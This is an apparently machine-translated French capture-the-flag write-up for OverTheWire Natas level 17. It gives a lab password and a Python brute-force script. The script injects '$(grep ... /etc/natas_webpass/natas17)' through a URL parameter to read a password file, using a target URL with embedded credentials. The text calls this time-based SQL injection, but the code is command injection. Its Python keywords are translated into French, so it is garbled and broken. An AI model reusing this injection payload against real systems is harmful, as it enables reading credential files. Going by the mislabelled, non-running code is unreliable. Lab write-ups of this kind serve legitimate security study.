Nous avons couvert l'injection SQL basée sur le temps à l'aide de la fonction sleep. L'injection SQL basée sur le temps s'appuie sur la réponse que prend l'application Web pour déduire s'il existe ou non une vulnérabilité d'injection. Nous avons utilisé un scénario de laboratoire d'OverTheWire Natas niveau 17 qui implémente une application Web qui valide si un utilisateur existe ou non. Cela faisait partie de OverTheWire War Games Natas Niveau 17
Obtenir les notes du certificat OSCP
Mot de passe Natas niveau 17
8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq
Script Python
#!/usr/bin/python
importer demandes
caractères = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
exister = ''
mot de passe = ''
cible = 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh*@natas16.natas.labs.overthewire.org/'
vraiStr = 'Sortir:\n\n
'
pour X dans caractères:
r = demandes.obtenir(cible+'?aiguille=$(grep '+X+' /etc/natas_webpass/natas17)vendredi')
si r.contenu.trouver(vraiStr) != -1:
exister += X
imprimer 'En utilisant: ' + exister
imprimer 'Tous les personnages utilisés. Commencer la force brute... Prenez un café, ça peut prendre un moment !'
pour je dans gamme(32):
pour c dans exister:
r = demandes.obtenir(cible+'?aiguille=$(grep ^'+mot de passe+c+' /etc/natas_webpass/natas17)vendredi')
si r.contenu.trouver(vraiStr) != -1:
mot de passe += c
imprimer 'Mot de passe: ' + mot de passe + '*' * int(32 - len(mot de passe))
casser
imprimer 'Complété!'
Vidéo pas à pas
Montrer les Commentaires